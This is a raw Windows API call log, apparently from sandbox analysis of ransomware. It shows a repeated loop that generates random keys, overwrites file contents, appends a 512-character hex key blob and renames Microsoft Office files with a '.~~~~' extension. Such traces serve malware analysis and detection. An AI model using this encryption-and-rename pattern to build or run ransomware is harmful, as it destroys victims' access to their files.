	[0130.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1a40 | out: hHeap=0x300000) returned 1
	[0130.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.781] GetLastError () returned 0x0
	[0130.805] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ae8) returned 1
	[0130.806] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.806] CryptReleaseContext (hProv=0x3a0ae8, dwFlags=0x0) returned 1
	[0130.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.807] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25079677602) returned 1
	[0130.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb768c9d0, dwHighDateTime=0x1d60e1e)) 
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd0e0
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd0e0 | out: hHeap=0x300000) returned 1
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0130.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.807] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.808] GetLastError () returned 0x0
	[0130.808] GetLastError () returned 0x0
	[0130.808] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.808] GetLastError () returned 0x0
	[0130.808] GetLastError () returned 0x0
	[0130.812] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff4c70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.812] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xb390, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xb390, lpOverlapped=0x0) returned 1
	[0130.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.815] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.815] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.815] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.815] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.815] CloseHandle (hObject=0x140) returned 1
	[0130.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0130.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.~~~~")) returned 1
	[0130.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b11f0 | out: hHeap=0x300000) returned 1
	[0130.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.817] GetLastError () returned 0x0
	[0130.818] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1be8) returned 1
	[0130.819] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.819] CryptReleaseContext (hProv=0x3a1be8, dwFlags=0x0) returned 1
	[0130.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.820] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25080983246) returned 1
	[0130.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb76b2b30, dwHighDateTime=0x1d60e1e)) 
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd0a8
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd0a8 | out: hHeap=0x300000) returned 1
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0130.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.821] GetLastError () returned 0x0
	[0130.821] GetLastError () returned 0x0
	[0130.821] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.821] GetLastError () returned 0x0
	[0130.821] GetLastError () returned 0x0
	[0130.827] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.828] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0130.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.909] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.909] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.909] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.909] CloseHandle (hObject=0x140) returned 1
	[0130.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x3a1d80
	[0130.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.~~~~")) returned 1
	[0130.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1d80 | out: hHeap=0x300000) returned 1
	[0130.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.911] GetLastError () returned 0x0
	[0130.912] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.913] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.913] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.913] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25090339942) returned 1
	[0130.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7797370, dwHighDateTime=0x1d60e1e)) 
	[0130.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd230
	[0130.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd230 | out: hHeap=0x300000) returned 1
	[0130.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0130.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0130.914] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.914] GetLastError () returned 0x0
	[0130.914] GetLastError () returned 0x0
	[0130.914] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.914] GetLastError () returned 0x0
	[0130.915] GetLastError () returned 0x0
	[0130.916] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.916] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xbe, lpOverlapped=0x0) returned 1
	[0130.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.918] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.918] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.918] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.918] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.918] CloseHandle (hObject=0x140) returned 1
	[0130.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x2a0ef18
	[0130.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc.~~~~")) returned 1
	[0130.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a0ef18 | out: hHeap=0x300000) returned 1
	[0130.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.920] GetLastError () returned 0x0
	[0130.920] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.921] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.921] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.922] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25091173835) returned 1
	[0130.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7797370, dwHighDateTime=0x1d60e1e)) 
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd1f8
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd1f8 | out: hHeap=0x300000) returned 1
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0130.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0130.922] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.922] GetLastError () returned 0x0
	[0130.923] GetLastError () returned 0x0
	[0130.923] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.923] GetLastError () returned 0x0
	[0130.923] GetLastError () returned 0x0
	[0130.924] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.924] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xc4, lpOverlapped=0x0) returned 1
	[0130.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.925] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.926] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.926] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.926] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.926] CloseHandle (hObject=0x140) returned 1
	[0130.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0650
	[0130.926] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc.~~~~")) returned 1
	[0130.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0650 | out: hHeap=0x300000) returned 1
	[0130.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.927] GetLastError () returned 0x0
	[0130.928] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.929] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.929] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.929] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25091897057) returned 1
	[0130.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb77bd4d0, dwHighDateTime=0x1d60e1e)) 
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd1c0
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd1c0 | out: hHeap=0x300000) returned 1
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.929] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.930] GetLastError () returned 0x0
	[0130.930] GetLastError () returned 0x0
	[0130.930] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.930] GetLastError () returned 0x0
	[0130.930] GetLastError () returned 0x0
	[0130.931] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffffba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.931] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x46, lpOverlapped=0x0) returned 1
	[0130.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.932] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.933] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.933] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.933] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.933] CloseHandle (hObject=0x140) returned 1
	[0130.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
